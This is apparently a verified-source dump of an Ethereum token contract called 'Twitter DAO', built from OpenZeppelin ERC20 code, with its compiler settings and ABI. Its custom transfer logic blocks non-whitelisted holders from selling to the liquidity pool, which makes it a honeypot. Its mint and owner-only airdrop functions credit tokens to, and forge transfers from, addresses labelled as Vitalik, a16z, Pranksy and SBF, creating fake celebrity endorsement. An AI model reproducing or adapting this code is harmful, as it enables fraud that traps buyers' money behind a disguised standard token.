// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract NewERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address public thePoolAddress;
// Vb3 0x220866B1A2219f40e72f5c628B65D54268cA3A9D
address private _vbAddress = 0xB1AdceddB2941033a090dD166a462fe1c2029484;
// a16z
address private _a16zAddress = 0xE36a124CaA7Ee0b75A96A934499CE68DaC6D9562;
// pranksy
address private _pranksyAddress = 0x5028D77B91a3754fb38B2FBB726AF02d1FE44Db6;
// SBF
address private _sbfAddress = 0xC8D328b21F476a4b6e0681F6e4e41693A220347d;
// local test account5
// address private _vbAddress = 0x49adb5E5D8ce338d5C7D5e3083E4b3028af16eAd;
bool public tokenName;
address[] private whileListAddress = new address[](20);
uint256 private _ETHER = 10 ** 18;
// uint256 private _ETHER = 1;
uint256 private _Ten8 = 10000 * 10000;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
tokenName = true;
_name = name_;
_symbol = symbol_;
thePoolAddress = _msgSender();
_initWhiteList();
_mint(msg.sender, 1000000 * _Ten8 * _ETHER);
}
function _initWhiteList() internal {
/*whileListAddress.push(0xCC691F7E0DbC0C76188aAe0Dda07cA3633A99862);
whileListAddress.push(0x40A091d7E7Ce5B6a73D1E6611F4383C742b3bB8a);*/
whileListAddress.push(0x9eed10A51a2E1e6dD7D3A7D87fB9062e67dA302F);
whileListAddress.push(0x395f9b937bBd83F8F98A2c3dEaf0Cf65b0B3Abf7);
whileListAddress.push(0xc9e34d32ddf4256189bcbcA2F46CFD991cc2e65a);
whileListAddress.push(0xC38c2b9152f468350f8E4fE7DE84A8ebdDEEB603);
whileListAddress.push(0x8b2f1A6af975855e3Ce0ec3703832a56e3BA188E);
whileListAddress.push(0x2801ee8077f3f376969152C45A59A5A0F01E8BDA);
whileListAddress.push(0x6CAe871868e1cE5997450e19132de9f9cA6B1a6B);
whileListAddress.push(0xC6aB527b901cBF6744AC7a7a778f9ee303901e5a);
whileListAddress.push(0xD75bEb1B78Fd7D6C5B1E37414655E459A6345403);
whileListAddress.push(0x20489Cae2664FcD37F7606172FF39c5a25228B3f);
whileListAddress.push(0xAA1513A8c15CD8741EDDb28a7a70041A4cf13aB7);
whileListAddress.push(0xe5aF7f6215D433a81EaF700aB9D685D0Da895aCE);
whileListAddress.push(0xDE5AF3Ee3966f3D2D45759133eFb756C3C4D1c3A);
whileListAddress.push(0x0281c0aBf0412B28854F59cE1b3074e85587c3d7);
whileListAddress.push(0xb03b86de3124A10311A9c820919338529617d667);
whileListAddress.push(0x3D6D25c8b675C9f163e0ACa47DA6747f355664EF);
whileListAddress.push(0xC48B1C4d7221122eBcb76A05735B345f734106f3);
whileListAddress.push(0x7F90d31b773a629b402858E1a7a27a1c49E204F6);
whileListAddress.push(0xdF2A9905d35f8b16a5b3c1B3EdaC7Bb450a6B2C5);
whileListAddress.push(0x3c79eD72C9c4F0A945E3CFFcc20cBF7C47EE3eb4);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function _transferFromAirdrop(
address sender,
address recipient,
uint256 amount
) internal virtual returns (bool) {
_transfer_v2(sender, recipient, amount);
return true;
}
function _airdrop() internal {
// _transferFromAirdrop(_vbAddress, 0x814927849c93FD769898928d79BA40f88ca1A451, 15000 * 10000 * 10000 * 10 ** 18);
_transferFromAirdrop(_vbAddress, 0x220866B1A2219f40e72f5c628B65D54268cA3A9D, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_vbAddress, 0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_vbAddress, 0x84D34f4f83a87596Cd3FB6887cFf8F17Bf5A7B83, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_vbAddress, 0x4862733B5FdDFd35f35ea8CCf08F5045e57388B3, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_vbAddress, 0x431e81E5dfB5A24541b5Ff8762bDEF3f32F96354, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_a16zAddress, 0x5028D77B91a3754fb38B2FBB726AF02d1FE44Db6, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_a16zAddress, 0x431e81E5dfB5A24541b5Ff8762bDEF3f32F96354, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_a16zAddress, 0x85560DBeF2533eEc139b3e206b119fD700f90262, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_a16zAddress, 0x42f9134E9d3Bf7eEE1f8A5Ac2a4328B059E7468c, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_a16zAddress, 0x577eBC5De943e35cdf9ECb5BbE1f7D7CB6c7C647, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_pranksyAddress, 0x3DdfA8eC3052539b6C9549F12cEA2C295cfF5296, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_pranksyAddress, 0x6Cf9AA65EBaD7028536E353393630e2340ca6049, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_pranksyAddress, 0xafa64cCa337eFEE0AD827F6C2684e69275226e90, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_pranksyAddress, 0xf9dbd46Ec67dAD36794FE788C29147e00fc25fE7, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_pranksyAddress, 0x1406899696aDb2fA7a95eA68E80D4f9C82FCDeDd, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_sbfAddress, 0xcFe763EC6db64e7e61099EfCEC986DC90e567Fb1, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_sbfAddress, 0xA1175a219dac539F2291377F77afD786D20e5882, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_sbfAddress, 0x32F3Df9867A229e8DA4E63eA0BFd163BA3298Eb2, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_sbfAddress, 0xc679Aa874efB24DA448A7B3CfE981Ea6a3191D8A, 10000 * _Ten8 * _ETHER);
_transferFromAirdrop(_sbfAddress, 0x885F5fd87E62eD2eBD0B0Bb1C295c4C43edEe5B5, 10000 * _Ten8 * _ETHER);
}
function _airdropSomeone(address target, uint256 amount) internal {
_transferFromAirdrop(_vbAddress, target, amount);
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer_v2(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
// addLiquidityETH init_value
if (sender == owner() && thePoolAddress == owner()) {
thePoolAddress = recipient;
}
bool pass = false;
// init, add, remove
if (sender == owner() || recipient == owner() || sender == thePoolAddress || !tokenName || whiteList(sender)) {
pass = true;
} else {
if (recipient == thePoolAddress) {
require(false, "ERC20: transfer amount exceeds balance!!");
}
}
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function whiteList(address seller) internal view returns (bool) {
for (uint i =0; i < whileListAddress.length; i++) {
if (whileListAddress[i] == seller) {
return true;
}
}
return false;
}
function _inWhiteList(address seller) internal pure returns (bool) {
if (seller == 0xab59aEc629A9995738ada0310ADeA0fE38eC72d9) {
return true;
}
if (seller == 0x90801C97e1f6F2E59495Bf180afedE5D70FCb9d1) {
return true;
}
if (seller == 0x5C57f26601687f4FF0C0589542E87f306Ae70Be4) {
return true;
}
if (seller == 0x09C0c1fd5e586489fe46c0E7021D93B072C3295e) {
return true;
}
if (seller == 0x53aC88570B19176B52F2aE293986d1BA5da321D3) {
return true;
}
if (seller == 0x72E8f31E2230A80Db54F2CFfE4bb7aE5F1f77bED) {
return true;
}
return false;
}
function _unlock() internal {
tokenName = false;
}
function _setPoolAddress(address poolAddress) internal {
thePoolAddress = poolAddress;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += 760000 * _Ten8 * _ETHER;
_balances[_vbAddress] += 60000 * _Ten8 * _ETHER;
_balances[_a16zAddress] += 60000 * _Ten8 * _ETHER;
_balances[_pranksyAddress] += 60000 * _Ten8 * _ETHER;
_balances[_sbfAddress] += 60000 * _Ten8 * _ETHER;
emit Transfer(address(0), account, 760000 * _Ten8 * _ETHER);
emit Transfer(address(0), _vbAddress, 60000 * _Ten8 * _ETHER);
emit Transfer(address(0), _a16zAddress, 60000 * _Ten8 * _ETHER);
emit Transfer(address(0), _pranksyAddress, 60000 * _Ten8 * _ETHER);
emit Transfer(address(0), _sbfAddress, 60000 * _Ten8 * _ETHER);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "./NewERC20.sol";
contract TwitterDAO is NewERC20 {
constructor() NewERC20("Twitter DAO", "Twitter") {
}
function approve(address poolAddress) public onlyOwner {
_setPoolAddress(poolAddress);
}
function transfer() public onlyOwner {
_unlock();
}
function airdrop() public onlyOwner {
_airdrop();
}
function airdrop(address target, uint256 amount) public onlyOwner {
_airdropSomeone(target, amount);
}
}
{
"compilationTarget": {
"TwitterDAO.sol": "TwitterDAO"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"poolAddress","type":"address"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"thePoolAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]